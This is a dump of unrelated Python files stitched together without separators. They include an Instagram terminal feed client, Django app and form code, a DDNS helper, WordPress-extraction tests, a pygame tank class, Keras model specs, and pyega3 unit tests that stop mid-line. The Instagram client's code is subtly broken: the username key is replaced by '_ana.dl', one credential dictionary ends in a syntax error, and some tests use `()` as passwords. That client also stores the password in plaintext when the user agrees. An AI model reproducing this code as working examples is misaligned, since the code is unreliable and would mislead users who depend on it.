fetch_news_feed(session): res = session.get('https://i.instagram.com/api/v1/feed/timeline/', headers={ 'user-agent': 'Mozilla/5.0 (Linux; Android 6.0.1; SM-G935T Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36 Instagram 8.4.0 Android (23/6.0.1; 560dpi; 1440x2560; samsung; SM-G935T; hero2qltetmo; qcom; en_US)', 'cookie':'sessionid={0};'.format(session.cookies['sessionid']) }) if res.status_code != 200: print('ERROR: got '+str(res.status_code)+' when fetching!') exit() res = json.loads(res.text) posts_info = {} for item in res['items']: if 'user' not in item: continue username = item['user']['username'] key = username + '_' + str(item['taken_at']) + '.jpg' try: posts_info[key] = { 'username': username, 'caption': item['caption']['text'] if item['caption'] else '', 'image_url': item['image_versions2']['candidates'][0]['url'], 'likes': str(item['like_count']) if item['like_count'] else '0', 'site_url': 'https://www.instagram.com/p/' + item['code'] + '/?taken-by=' + username } except KeyError: pass return posts_info def save_image(posts_info, session): if not os.path.exists('images'): os.makedirs('images') for key in posts_info: res = session.get(posts_info[key]['image_url']) with open('images/' + key, 'wb') as f: for chunk in res.iter_content(chunk_size=1024): if chunk: f.write(chunk) def remove_images(): if not os.path.isdir('./images'): return file_list = os.listdir('./images/') for filename in file_list: os.remove('./images/' + filename) def save_credentials(credential, permission): if not permission: return with open('credential.json', 'w') as _file: json.dump(credential, _file) def get_login_session(credential): session = requests.Session() session.headers.update({'Referer': 'https://www.instagram.com/'}) req = session.get('https://www.instagram.com/') session.headers.update({'X-CSRFToken': req.cookies['csrftoken']}) login_response = session.post('https://www.instagram.com/accounts/login/ajax/', data=credential, allow_redirects=True).json() if 'two_factor_required' in login_response and login_response['two_factor_required']: identifier = login_response['two_factor_info']['two_factor_identifier'] username = credential['_ana.dl'] verification_code = input('2FA Verification Code: ') verification_data = {'_ana.dl': username, 'verificationCode': verification_code, 'identifier': identifier} two_factor_response = session.post('https://www.instagram.com/accounts/login/ajax/two_factor/', data=verification_data, allow_redirects=True).json() if two_factor_response['authenticated']: return session, two_factor_response else: return None, two_factor_response return session, login_response def login(credential): if credential: session, _ = get_login_session(credential) return session user, pwd = '', '' while True: user = input('_ana.dl: ') pwd = getpass.getpass(prompt='Password: ') session, res = get_login_session({'_ana.dl': user, 'password': pwd}) if res['authenticated']: break if not res['authenticated']: print('Bad username or password') if res['status'] == 'fail': print(res['message']) exit() permission = input('save credentials(y/N)?: ') credential = {'_ana.dl': user, 'password': } save_credentials(credential, permission == 'y') return session def main(): parser = argparse.ArgumentParser() parser.add_argument('--color', action='store_true', help='Display image with color') display_color = parser.parse_args().color credential = get_credential() session = login(credential) remove_images() posts_info = fetch_news_feed(session) save_image(posts_info, session) display_to_terminal(posts_info, display_color) if __name__ == '__main__': main() from django.apps import AppConfig class ScheduleConfig(AppConfig): name = 'basiclive.core.schedule' 1-10 #!/usr/bin/env python # coding=utf-8 import socket from utils import DDNSUtils class DomainSection: """ Object represents dns config section. """ def __init__(self, domainName, subDomainName, type): self.domainName = domainName self.subDomainName = subDomainName self.type = type @classmethod def from_full_domain(cls, fullDomain, type): subDomain = fullDomain.split('.')[0] domain = fullDomain.lstrip(subDomain).strip().strip('.') record = cls(domain, subDomain, type) return record def get_dns_resolved_ip(self): if self.subDomainName == "@": hostname = self.domainName else: hostname = "{0}.{1}".format(self.subDomainName, self.domainName) try: ip_addr = socket.gethostbyname(hostname) DDNSUtils.info("RR value read: [{0}] for [{1}]".format(ip_addr, hostname)) return ip_addr except Exception as exception: DDNSUtils.err("Failed to read ip address for [{0}]".format(hostname)) raise exception from datetime import datetime import pytest import pytz from bs4 import BeautifulSoup from django.contrib.gis.geos import Point from indieweb.application.extract import LinkedPage, LinkedPageAuthor @pytest.fixture def post_xml_soup(): with open("tests/fixtures/post.xml") as f: return BeautifulSoup(f.read(), "xml") @pytest.fixture def checkin_xml_soup(): with open("tests/fixtures/checkin.xml") as f: return BeautifulSoup(f.read(), "xml") @pytest.fixture def reply_xml_soup(): with open("tests/fixtures/replyto.xml") as f: return BeautifulSoup(f.read(), "xml") @pytest.fixture def bookmark_xml_soup(): with open("tests/fixtures/bookmark.xml") as f: return BeautifulSoup(f.read(), "xml") class TestExtractEntry: @pytest.fixture def target(self): from wordpress.extract import extract_entry return extract_entry def test_extract_post(self, target, post_xml_soup): t_entry = target(post_xml_soup) assert t_entry.p_name == "The Week #10" assert t_entry.p_summary.startswith("It's week #10 - I've managed to make it to double digit weekly updates!") assert t_entry.e_content.startswith("
    ") class TestExtractCategories: @pytest.fixture def target(self): from wordpress.extract import extract_categories return extract_categories def test_extract_categories(self, target, post_xml_soup): categories = target(post_xml_soup) assert categories == [("The Week", "the-week")] class TestExtractPostKind: @pytest.fixture def target(self): from wordpress.extract import extract_post_kind return extract_post_kind def test_extract_post_kind(self, target, post_xml_soup): categories = target(post_xml_soup) assert categories == [("Article", "article")] class TestExtractPostFormat: @pytest.fixture def target(self): from wordpress.extract import extract_post_format return extract_post_format def test_extract_post_kind(self, target, checkin_xml_soup): categories = target(checkin_xml_soup) assert categories == [("Status", "post-format-status")] class TestExtractPublishedDate: @pytest.fixture def target(self): from wordpress.extract import extract_published_date return extract_published_date def test_extract_published_date(self, target, post_xml_soup): assert datetime(year=2020, month=9, day=14, hour=20, minute=30, second=23, tzinfo=pytz.utc) == target( post_xml_soup ) class TestExtractPhoto: @pytest.fixture def target(self): from wordpress.extract import extract_photo return extract_photo def test_extract_photo(self, target, checkin_xml_soup): photos = target(checkin_xml_soup) assert photos == [ "https://fastly.4sqi.net/img/general/original/89277993_FzCrX1lGY8katwtWXKivLtYCtjI1sA9pb_bXODpP1Bc.jpg" ] class TestExtractSyndication: @pytest.fixture def target(self): from wordpress.extract import extract_syndication return extract_syndication def test_extract_syndication(self, target, checkin_xml_soup): urls = target(checkin_xml_soup) assert urls == ["https://www.swarmapp.com/user/89277993/checkin/5f6563d6a183c074f5e2e472"] class TestExtractLocation: @pytest.fixture def target(self): from wordpress.extract import extract_location return extract_location def test_extract_location(self, target, checkin_xml_soup): location = target(checkin_xml_soup) assert location == { "street_address": "都筑区折本町201-1", "locality": "Yokohama", "region": "Kanagawa", "country_name": "Japan", "postal_code": "224-0043", "point": Point(35.522764, 139.590671), } class TestExtractCheckin: @pytest.fixture def target(self): from wordpress.extract import extract_checkin return extract_checkin def test_extract_checkin(self, target, checkin_xml_soup): checkin = target(checkin_xml_soup) assert checkin == { "name": "IKEA Restaurant & Cafe (IKEAレストラン&カフェ)", "url": "https://foursquare.com/v/4e745d4f1838f918895cf6fd", } class TestExtractReply: @pytest.fixture def target(self): from wordpress.extract import extract_in_reply_to return extract_in_reply_to def test_extract_reply(self, target, reply_xml_soup): reply = target(reply_xml_soup) assert reply == LinkedPage( url="https://jamesg.blog/2020/10/19/a-conflict-with-rss", title="A Conflict with RSS", description="On my vacation, I took some time away from technology.", author=LinkedPageAuthor( name="capjamesg", url="https://jamesg.blog", photo="https://jamesg.blog/assets/coffeeshop.jpg", ), ) class TestExtractBookmark: @pytest.fixture def target(self): from wordpress.extract import extract_bookmark return extract_bookmark def test_extract_reply(self, target, bookmark_xml_soup): bookmark = target(bookmark_xml_soup) assert bookmark == LinkedPage( url="https://www.nikkei.com/article/DGXMZO65278360R21C20A0MM8000/", title="温暖化ガス排出、2050年に実質ゼロ　菅首相が表明へ　　:日本経済新聞", description="■26日、就任後初の所信演説で方針を示す■ＥＵが既に掲げた目標を日本もようやく追いかける■高い基準の達成に日本企業も厳しい対応を迫られる", author=None, ) profiles/forms/token_forms.py from django.utils import timezone from tempus_dominus.widgets import DateTimePicker from profiles.models import Token from Squest.utils.squest_model_form import SquestModelForm class TokenForm(SquestModelForm): class Meta: model = Token fields = ['description', 'expires'] def __init__(self, *args, **kwargs): super(TokenForm, self).__init__(*args, **kwargs) self.fields['expires'].widget = DateTimePicker( options={ 'useCurrent': True, 'timeZone': str(timezone.get_current_timezone()), 'collapse': False, 'minDate': str(timezone.now().astimezone().strftime("%Y-%m-%d %H:%M:%S")), }, attrs={ 'append': 'fa fa-calendar', 'icon_toggle': True, } ) client/tank.py import constants import pygame from math import sin, cos, pi from turret import Turret from hp_bar import HPBar FORWARD = 1 BACKWARD = 0 class Tank(pygame.sprite.Sprite): """ Represents tank object in the game Attributes: _player_no: ID of the player that this tank belongs to ..other """ def __init__(self, player_no, game, x, y, angle, attributes): super().__init__() self._player_no = player_no self._game = game self._x = x self._y = y self._velocity = pygame.math.Vector2(0, 0) self._angle = 0 # if the angle given in __init__ was not 0, the tank will be rotated later self._max_speed_multiplier = 1 self._direction = FORWARD # direction in which the tank is moving (FORWARD/BACKWARD) - updated only when the tank starts moving self._hp = attributes["hp"] self._max_hp = self._hp self._max_speed = attributes["max_speed"] self._acceleration = attributes["acceleration"] self._deceleration = attributes["deceleration"] self._drag = attributes["drag"] self._turn_rate = attributes["turn_rate"] self._driftiness = attributes["driftiness"] turret_attributes = self._game.load_resource(attributes["turret"]) self._turret = Turret(self, self._game, turret_attributes) self._hp_bar = HPBar(self, self._max_hp, constants.hp_bar_width, constants.hp_bar_height, constants.hp_bar_y_offset, constants.hp_bar_filled_color, constants.hp_bar_empty_color) shield_attributes = self._game.load_resource(attributes["shield"]) self._shield_active = False self._shield_image = shield_attributes["texture"] self._shield_max_hp = shield_attributes["hp"] self._shield_hp = shield_attributes["hp"] self._shield_cooldown = shield_attributes["cooldown"] self._shield_current_cooldown = 0 self._shield_decay = shield_attributes["decay"] self._shield_bar = HPBar(self, self._shield_max_hp, constants.shield_bar_width, constants.shield_bar_height, constants.shield_bar_y_offset, constants.shield_bar_filled_color, constants.shield_bar_empty_color) self._shield = pygame.sprite.Sprite() self._shield.image = self._shield_image self._shield.rect = self._shield_image.get_rect() self._in_collision = False self._collision_cooldown = 0 self.image = attributes["texture"] self.original_image = attributes["texture"] # ^required, because repeatedly rotating the same image decreases its quality and increases size^ self.rect = self.image.get_rect() self.rect.center = (x, y) if angle != 0: self.rotate(angle) self.keys = [] # keys pressed by player # Override def kill(self): """ Delete this tank from the board :return: None """ self._hp_bar.kill() self._turret.kill() super().kill() def keyboard_input(self, keys): """ Receives pressed keys, that will be used to determine user input when updating the tank :param ? keys: Input from the keyboard :return: None """ self.keys = keys def handle_keyboard(self, delta_time): """ Controls the tank, based on pressed keys :param float delta_time: Time elapsed since last call of this function :return: If no keys were pressed False else True :rtype: bool """ if not self.keys: return False # forward/backward movement velocity_changed = False if self.keys[pygame.K_UP]: if self._direction == FORWARD or self._velocity.magnitude_squared() == 0: self.accelerate(self._acceleration * delta_time) else: self.apply_drag(-self._acceleration * delta_time) # if the tank is moving in the opposite direction, treat the input like drag velocity_changed = True if self.keys[pygame.K_DOWN]: if self._direction == BACKWARD or self._velocity.magnitude_squared() == 0: self.accelerate(-self._deceleration * delta_time) else: self.apply_drag(-self._deceleration * delta_time) # if the tank is moving in the opposite direction, treat the input like drag velocity_changed = True if not velocity_changed: self.apply_drag(-self._drag * delta_time) # turning the tank if self.keys[pygame.K_LEFT]: self.rotate(self._turn_rate * delta_time) if self.keys[pygame.K_RIGHT]: self.rotate(-self._turn_rate * delta_time) # controlling the turret if self.keys[pygame.K_q]: self.rotate_turret(delta_time) if self.keys[pygame.K_e]: self.rotate_turret(-delta_time) if self.keys[pygame.K_w]: self._turret.shoot() # activating the shield if self.keys[pygame.K_s]: self.activate_shield() return True def save_my_data(self): """ Returns all the most important variables of the tank :return: x, y, angle, hp and turret's angle of the tank :rtype: (int, int, float, float, float) """ return self._x, self._y, self._angle, self._hp, self._turret.angle def update(self, delta_time): """ Calculates physics for this client's tank and updates rotation and image position for all tanks :param float delta_time: Time elapsed since last call of this function :return: None """ # Calculate physics only for this client's tank if self._player_no == self._game.my_player_id: x, y, angle, hp, turret_angle = self.save_my_data() self._collision_cooldown -= delta_time if self._shield_active: self.offset_shield_hp(-self._shield_decay * delta_time) else: self._shield_current_cooldown -= delta_time self.handle_keyboard(delta_time) if self._velocity.magnitude_squared() != 0: velocity_magnitude = self._velocity.magnitude() angle_vector = pygame.math.Vector2(-sin(self._angle * (pi / 180)), -cos(self._angle * (pi / 180))) angle_vector *= velocity_magnitude if self._direction == BACKWARD: angle_vector = angle_vector.rotate(180) # if the tank is moving backward, invert the angle vector to make the interpolation work correctly # (so the tank "front" is now on the back, and the velocity and angle vectors are closer together) if self._driftiness > 0: speed_fraction = abs(velocity_magnitude) / (self._max_speed * self._max_speed_multiplier) speed_fraction **= 3 # difference between slow and fast drifting is more noticeable when speed_fraction is raised to 3 power lerp_factor = self._driftiness * speed_fraction if lerp_factor > 1: lerp_factor = 1 lerp_factor = 1 - (lerp_factor ** delta_time) self._velocity = self._velocity.lerp(angle_vector, lerp_factor).normalize() * velocity_magnitude else: self._velocity = angle_vector dx = self._velocity.x * delta_time dy = self._velocity.y * delta_time self._in_collision = False if self.check_x_move(dx): self._x += dx else: self._in_collision = True self._velocity.x = 0 if self.check_y_move(dy): self._y += dy else: self._in_collision = True self._velocity.y = 0 tile_speed = self._game.get_tile_at_screen_position(self._x, self._y).get_attribute("move_speed") self._max_speed_multiplier = tile_speed if self._in_collision: self._max_speed_multiplier *= constants.object_collision_speed_multiplier if self._collision_cooldown <= 0: self._collision_cooldown = constants.object_collision_cooldown self.offset_hp(-constants.object_collision_damage) if self._shield_active: self._shield.rect.center = self.rect.center self._game.send_tank_position(self._x, self._y, self._angle, self._hp, self._turret.angle) #self._x, self._y, self._angle, self._hp, self._turret.angle = x, y, angle, hp, turret_angle # If it's not mine tank else: self.rotate_not_mine() # Update image for all tanks self.rect.center = (self._x, self._y) self._hp_bar.update_hp(self._hp) def accelerate(self, acceleration): """ Applies acceleration in the direction the tank is facing :param float acceleration: Value of the acceleration :return: None """ if self._velocity.magnitude_squared() == 0: self._direction = FORWARD if acceleration > 0 else BACKWARD self._velocity.x -= acceleration * sin(self._angle * (pi / 180)) self._velocity.y -= acceleration * cos(self._angle * (pi / 180)) max_speed_with_multiplier = self._max_speed * self._max_speed_multiplier if self._velocity.magnitude_squared() > max_speed_with_multiplier * max_speed_with_multiplier: self._velocity = self._velocity.normalize() * max_speed_with_multiplier def apply_drag(self, drag): """ Slows down the tank by a given drag value :param float drag: Drag value :return: None """ if self._velocity.magnitude_squared() == 0: return start_velocity = self._velocity.copy() drag_vector = self._velocity.normalize() * drag self._velocity.x += drag_vector.x self._velocity.y += drag_vector.y if start_velocity.x * self._velocity.x < 0 or start_velocity.y * self._velocity.y < 0: # aka if speeds before and after applying drag were in opposite directions self._velocity.x = 0 self._velocity.y = 0 def rotate_not_mine(self): """ Rotates the image of the tank that does not belong to this client :return: None """ self.image = pygame.transform.rotozoom(self.original_image, self._angle, 1) self.rect = self.image.get_rect() def rotate(self, angle): """ Rotates this client's tank by a given angle :param float angle: Angle this tank should be rotated :return: None """ self._angle += angle self._angle %= 360 self.image = pygame.transform.rotozoom(self.original_image, self._angle, 1) self.rect = self.image.get_rect() # self.rect.center = (self._x, self._y) def rotate_turret(self, angle): """ Rotates the tank turret by a given angle :param float angle: Angle this client's tank's turret should be rotated :return: None """ self._turret.rotate(angle) def activate_shield(self): """ Activates the shield if it is ready (cooldown <= 0) :return: None """ if not self._shield_active and self._shield_current_cooldown <= 0: self._shield_active = True self._shield_current_cooldown = self._shield_cooldown self._shield_hp = self._shield_max_hp self._shield_bar.update_hp(self._shield_hp) self._game.add_hp_bar(self._shield_bar) self._shield.rect.center = self.rect.center self.groups()[0].add(self._shield) # a bit hacky but whatever def offset_hp(self, value): """ Changes the tank's hp by a given value :param float value: Value that the HP should be applied offset :return: None """ if not self._shield_active: self._hp += value self._hp_bar.update_hp(self._hp) else: self.offset_shield_hp(value) def offset_shield_hp(self, value): """ Changes the tank's shield hp by a given value. Disables the shield if its hp is lesser or equal to 0 :param float value: Value that the shield's HP should be applied offset :return: None """ self._shield_hp += value if self._shield_hp <= 0: self._shield_active = False self._shield_current_cooldown = self._shield_cooldown self._shield.kill() # a bit hacky but whatever self._game.remove_hp_bar(self._shield_bar) else: self._shield_bar.update_hp(self._shield_hp) def check_y_move(self, value): """ Checks if the tank can move to position (x, y+value) :param int value: Value how many tiles wants to move in Y-axis :return: If it's possible to move so :rtype: bool """ if self._y + value < 0 or self._y + value > constants.window_height: return False if self._game.get_tile_at_screen_position(self._x, self._y + value).get_attribute("blocks_movement"): return False return True def check_x_move(self, value): """ Checks if the tank can move to position (x+value, y) :param int value: Value how many tiles wants to move in Y-axis :return: If it's possible to move so :rtype: bool """ if self._x + value < 0 or self._x + value > constants.window_width: return False if self._game.get_tile_at_screen_position(self._x + value, self._y).get_attribute("blocks_movement"): return False return True def update_values_from_server(self, x, y, tank_angle, hp, turret_angle): """ Updates values of the tank according to the information received from the server :param int x: New X coordinate of the tank's location :param int y: New Y coordinate of the tank's location :param float tank_angle: New tank angle :param float hp: New HP :param float turret_angle: New turret angle :return: None """ self._x = x self._y = y self._angle = tank_angle self._hp = hp self._turret.update_from_server(turret_angle) @property def turret(self): return self._turret @property def player_no(self): return self._player_no @property def turret(self): return self._turret @property def hp_bar(self): return self._hp_bar @property def x(self): return self._x @x.setter def x(self, value): self._x = value @property def y(self): return self._y @y.setter def y(self, value): self._y = value @property def angle(self): return self._angle @property def hp(self): return self._hp @property def max_hp(self): return self._max_hp #!/usr/bin/env python3 import os import appdirs import snr.constants.messages as Msg class Config: def __init__(self, verbose=False, access_rights=0o755): self.verbose = verbose self.access_rights = access_rights self._set_config_dir() def _set_config_dir(self): self.config_dir = appdirs.user_config_dir('snr') if not os.path.exists(self.config_dir): try: if self.verbose: print(Msg.CREATE(self.config_dir)) os.mkdir(self.config_dir, self.access_rights) except OSError: print ("Creation of the directory %s failed" % self.config_dir) import os import copy import json import keras import numpy as np import importlib from six import string_types from keras.preprocessing.image import load_img def between_plus_minus_1(x, args=None): # equivalent to keras_applications.imagenet_utils.preprocess_input with mode=tf, output range [-1, 1] x /= 127.5 x -= 1. return x def mean_subtraction(x, args=None): # subtract means then normalize to between -2 and 2 (equivalent to old Keras preprocessing function) mean_r, mean_g, mean_b = args x -= [mean_r, mean_g, mean_b] x /= 127.5 return x def mean_subtraction_plus_minus_1(x, args=None): # subtract means then normalize to between -1 and 1 mean_r, mean_g, mean_b = args x -= [mean_r, mean_g, mean_b] x /= 255. return x def bgr_mean_subtraction(x, args=None): # equivalent to keras.applications.imagenet_utils.preprocess_input with mode=caffe, output range [-255, 255] mean_r, mean_g, mean_b = args x -= [mean_r, mean_g, mean_b] x = x[..., ::-1] return x def mean_std_normalization(x, args=None): # equivalent to keras.applications.imagenet_utils.preprocess_input with mode=torch mean_r, mean_g, mean_b, std_r, std_g, std_b = args x -= [mean_r, mean_g, mean_b] x /= [std_r, std_g, std_b] return x PREPROCESS_FUNCTIONS = { 'between_plus_minus_1': between_plus_minus_1, 'bgr_mean_subtraction': bgr_mean_subtraction, 'mean_std_normalization': mean_std_normalization, 'mean_subtraction': mean_subtraction, 'mean_subtraction_plus_minus_1': mean_subtraction_plus_minus_1 } SPEC_FIELDS = ['name', 'model', 'target_size', 'preprocess_func', 'preprocess_args'] with open(os.path.join(os.path.split(__file__)[0], 'model_specs.json')) as file: BASE_SPECS = json.load(file) BASE_SPEC_NAMES = BASE_SPECS.keys() class ModelSpec(object): @classmethod def get(cls, base_spec_name, **overrides): spec = copy.copy(BASE_SPECS.get(base_spec_name, {})) if len(spec) == 0 and len(overrides) == 0: return None spec['name'] = base_spec_name for field in SPEC_FIELDS: # Ignore incoming None fields if overrides.get(field) is not None: spec[field] = overrides[field] return ModelSpec(spec) def __init__(self, spec): self.name = None self.model = None self.str_model = None self.target_size = None self.preprocess_func = None self.preprocess_args = None self.keras_kwargs = {'backend': keras.backend, 'layers': keras.layers, 'models': keras.models, 'utils': keras.utils} self.__dict__.update(spec) self.preprocess_input = lambda x: PREPROCESS_FUNCTIONS[self.preprocess_func](x, args=self.preprocess_args) if isinstance(self.model, string_types): self.str_model = self.model self.model = self._get_module_class(self.model) def as_json(self): if self.str_model: model = self.str_model else: model = '.'.join([self.model.__module__, self.model.__name__]) if self.model else None return { 'name': self.name, 'model': model, 'target_size': self.target_size, 'preprocess_func': self.preprocess_func, 'preprocess_args': self.preprocess_args, } def load_image(self, image_path): img = load_img(image_path, target_size=self.target_size[:2]) image_data = np.asarray(img, dtype=np.float32) image_data = np.expand_dims(image_data, axis=0) image_data = self.preprocess_input(image_data) return image_data def _get_module_class(self, module_class_path): module_and_class_parts = module_class_path.split('.') module = importlib.import_module('.'.join(module_and_class_parts[:-1])) return getattr(module, module_and_class_parts[-1]) 0 import os import re import sys import json import random import string import hashlib import requests import responses import unittest from unittest import mock from urllib import parse from psutil import virtual_memory from collections import namedtuple import pyega3.pyega3 as pyega3 def random_string(length): return ''.join(random.choice(string.ascii_letters+string.digits) for m in range(length)) def rand_str(min_len=6, max_len=127): return random_string(random.randint(1, max_len)) class Pyega3Test(unittest.TestCase): def test_load_credentials(self): with mock.patch('os.path.exists') as m: m.return_value = True good_creds={"username":rand_str(),"password":(),"key":rand_str(),"client_secret":rand_str()} m_open = mock.mock_open(read_data=json.dumps(good_creds)) with mock.patch( "builtins.open", m_open ): good_credentials_file = "credentials.json" result = pyega3.load_config(good_credentials_file) m_open.assert_called_once_with(good_credentials_file) self.assertEqual(len(result) , 4 ) self.assertEqual(result[0] , good_creds["username"] ) self.assertEqual(result[1] , good_creds["password"] ) self.assertEqual(result[2] , good_creds["client_secret"] ) self.assertEqual(result[3] , good_creds["key"] ) password1 = () good_creds1={"username":rand_str(),"key":rand_str(),"client_secret":rand_str()} m_open1 = mock.mock_open(read_data=json.dumps(good_creds1)) with mock.patch( "builtins.open", m_open1 ): with mock.patch( "getpass.getpass" ) as m_get_pw : m_get_pw.return_value = password1 good_credentials_file1 = "credentials1.json" result1 = pyega3.load_config(good_credentials_file1) m_open1.assert_called_once_with(good_credentials_file1) self.assertEqual(len(result1) , 4 ) self.assertEqual(result1[0] , good_creds1["username"] ) self.assertEqual(result1[1] , password1 ) self.assertEqual(result1[2] , good_creds1["client_secret"] ) self.assertEqual(result1[3] , good_creds1["key"] ) bad_creds={"notusername":rand_str(),"password":(),"key":rand_str(),"client_secret":rand_str()} with mock.patch( "builtins.open", mock.mock_open(read_data=json.dumps(bad_creds)) ): with self.assertRaises(SystemExit): bad_credentials_file = "bad_credentials.json" result = pyega3.load_config(bad_credentials_file) with mock.patch( "builtins.open", mock.mock_open(read_data="bad json") ): with self.assertRaises(SystemExit): bad_credentials_file = "bad_credentials.json" result = pyega3.load_config(bad_credentials_file) @responses.activate def test_get_token(self): url = "https://ega.ebi.ac.uk:8443/ega-openid-connect-server/token" id_token = rand_str() access_token = rand_str() good_credentials = (rand_str(), rand_str(), rand_str()) def request_callback(request): query = parse.parse_qs( request.body ) if query['username'][0] == good_credentials[0] and query['password'][0] == good_credentials[1]: return ( 200, {}, json.dumps({"access_token": access_token, "id_token": id_token, "token_type": "Bearer", "expires_in": 3600 }) ) else: return ( 400, {}, json.dumps({"error_description": "Bad credentials","error": "invalid_grant"}) ) responses.add_callback( responses.POST, url, callback=request_callback, content_type='application/json', ) resp_token = pyega3.get_token(good_credentials) self.assertEqual( resp_token, access_token ) bad_credentials = (rand_str(), rand_str(), rand_str()) with self.assertRaises(SystemExit): pyega3.get_token(bad_credentials) @responses.activate def test_api_list_authorized_datasets(self): url = "https://ega.ebi.ac.uk:8051/elixir/data/metadata/datasets" good_token = rand_str() datasets = ["EGAD00000000001", "EGAD00000000002","EGAD00000000003"] def request_callback(request): auth_hdr = request.headers['Authorization'] if auth_hdr is not None and auth_hdr == 'Bearer ' + good_token: return ( 200, {}, json.dumps(datasets) ) else: return ( 400, {}, json.dumps({"error_description": "invalid token"}) ) responses.add_callback( responses.GET, url, callback=request_callback, content_type='application/json', ) resp_json = pyega3.api_list_authorized_datasets(good_token) self.assertEqual( len(resp_json), 3 ) self.assertEqual( resp_json[0], datasets[0] ) self.assertEqual( resp_json[1], datasets[1] ) self.assertEqual( resp_json[2], datasets[2] ) bad_token = rand_str() with self.assertRaises(requests.exceptions.HTTPError): pyega3.api_list_authorized_datasets(bad_token) @responses.activate def test_api_list_files_in_dataset(self): dataset = "EGAD00000000001" responses.add( responses.GET, "https://ega.ebi.ac.uk:8051/elixir/data/metadata/datasets", json=json.dumps([dataset]), status=200) url_files = "https://ega.ebi.ac.uk:8051/elixir/data/metadata/datasets/{}/files".format(dataset) files = [ { "checksum": "3b89b96387db5199fef6ba613f70e27c", "datasetId": dataset, "fileStatus": "available", "fileId": "EGAF00000000001", "checksumType": "MD5", "fileSize": 4804928, "fileName": "EGAZ00000000001/ENCFF000001.bam" }, { "checksum": "b8ae14d5d1f717ab17d45e8fc36946a0", "datasetId": dataset, "fileStatus": "available", "fileId": "EGAF00000000002", "checksumType": "MD5", "fileSize": 5991400, "fileName": "EGAZ00000000002/ENCFF000002.bam" } ] good_token = rand_str() def request_callback(request): auth_hdr = request.headers['Authorization'] if auth_hdr is not None and auth_hdr == 'Bearer ' + good_token: return ( 200, {}, json.dumps(files) ) else: return ( 400, {}, json.dumps({"error_description": "invalid token"}) ) responses.add_callback( responses.GET, url_files, callback=request_callback, content_type='application/json', ) resp_json = pyega3.api_list_files_in_dataset(good_token, dataset) self.assertEqual( len(resp_json), 2 ) self.assertEqual( resp_json[0], files[0] ) self.assertEqual( resp_json[1], files[1] ) bad_token = rand_str() with self.assertRaises(requests.exceptions.HTTPError): pyega3.api_list_files_in_dataset(bad_token, dataset) bad_dataset = rand_str() with self.assertRaises(SystemExit): pyega3.api_list_files_in_dataset(good_token, bad_dataset) @responses.activate def test_get_file_name_size_md5(self): good_file_id = "EGAF00000000001" file_size = 4804928 file_name = "EGAZ00000000001/ENCFF000001.bam" check_sum = "3b89b96387db5199fef6ba613f70e27c" good_token = rand_str() def request_callback(request): auth_hdr = request.headers['Authorization'] if auth_hdr is not None and auth_hdr == 'Bearer ' + good_token: return ( 200, {}, json.dumps({"fileName": file_name, "fileSize": file_size, "checksum": check_sum}) ) else: return ( 400, {}, json.dumps({"error_description": "invalid token"}) ) responses.add_callback( responses.GET, "https://ega.ebi.ac.uk:8051/elixir/data/metadata/files/{}".format(good_file_id), callback=request_callback, content_type='application/json', ) rv = pyega3.get_file_name_size_md5(good_token, good_file_id) self.assertEqual( len(rv), 3 ) self.assertEqual( rv[0], file_name ) self.assertEqual( rv[1], file_size ) self.assertEqual( rv[2], check_sum ) bad_token = rand_str() with self.assertRaises(requests.exceptions.HTTPError): pyega3.get_file_name_size_md5(bad_token, good_file_id) bad_file_id = "EGAF00000000000" with self.assertRaises(requests.exceptions.ConnectionError): pyega3.get_file_name_size_md5(good_token, bad_file_id) bad_file_id_2 = "EGAF00000000666" responses.add( responses.GET, "https://ega.ebi.ac.uk:8051/elixir/data/metadata/files/{}".format(bad_file_id_2), json={"fileName": None, "checksum": None}, status=200) with self.assertRaises(RuntimeError): pyega3.get_file_name_size_md5(good_token, bad_file_id_2) @responses.activate def test_download_file_slice(self): good_url = "https://good_test_server_url" good_token = rand_str() mem = virtual_memory().available file_length = random.randint(1, mem//512) slice_start = random.randint(0,file_length) slice_length = random.randint(0,file_length-slice_start) file_name = rand_str() fname_on_disk = file_name + '-from-'+str(slice_start)+'-len-'+str(slice_length)+'.slice' file_contents = os.urandom(file_length) def parse_ranges(s): return tuple(map(int,re.match(r'^bytes=(\d+)-(\d+)$', s).groups())) def request_callback(request): auth_hdr = request.headers['Authorization'] if auth_hdr is None or auth_hdr != 'Bearer ' + good_token: return ( 400, {}, json.dumps({"error_description": "invalid token"}) ) start, end = parse_ranges( request.headers['Range'] ) self.assertLess(start,end) return ( 200, {}, file_contents[start:end+1] ) responses.add_callback( responses.GET, good_url, callback=request_callback ) self.written_bytes = 0 def mock_write(buf): buf_len = len(buf) expected_buf = file_contents[slice_start+self.written_bytes:slice_start+self.written_bytes+buf_len] self.assertEqual( expected_buf, buf ) self.written_bytes += buf_len m_open = mock.mock_open() with mock.patch( "builtins.open", m_open, create=True ): with mock.patch("os.path.getsize", lambda path: self.written_bytes if path==fname_on_disk else 0): m_open().write.side_effect = mock_write pyega3.download_file_slice(good_url, good_token, file_name, slice_start, slice_length) self.assertEqual( slice_length, self.written_bytes ) m_open.assert_called_with(fname_on_disk, 'ba') bad_token = rand_str() with self.assertRaises(requests.exceptions.HTTPError): pyega3.download_file_slice(good_url, bad_token, file_name, slice_start, slice_length) bad_url = "https://bad_test_server_url" with self.assertRaises(requests.exceptions.ConnectionError): pyega3.download_file_slice(bad_url, good_token, file_name, slice_start, slice_length) with self.assertRaises(ValueError): pyega3.download_file_slice(rand_str(), rand_str(), file_name, -1, slice_length) with self.assertRaises(ValueError): pyega3.download_file_slice(rand_str(), rand_str(), file_name, slice_start, -1) @mock.patch('os.remove') def test_merge_bin_files_on_disk(self, mocked_remove): mem = virtual_memory().available files_to_merge = { 'f1.bin' : os.urandom(random.randint(1, mem//512)), 'f2.bin' : os.urandom(random.randint(1, mem//512)), 'f3.bin' : os.urandom(random.randint(1, mem//512)), } target_file_name = "merged.file" merged_bytes = bytearray() #merged_bytes.extend(files_to_merge['f1.bin']) def mock_write(buf): merged_bytes.extend(buf) real_open = open def open_wrapper(filename, mode): if filename == target_file_name: file_object = mock.mock_open().return_value file_object.write.side_effect = mock_write return file_object if filename not in files_to_merge: return real_open(filename, mode) content = files_to_merge[filename] length = len(content) buf_size = 65536 file_object = mock.mock_open(read_data=content).return_value file_object.__iter__.return_value = [content[i:min(i+buf_size,length)] for i in range(0,length,buf_size)] return file_object with mock.patch('builtins.open', new=open_wrapper): with mock.patch( 'os.rename', lambda s,d: 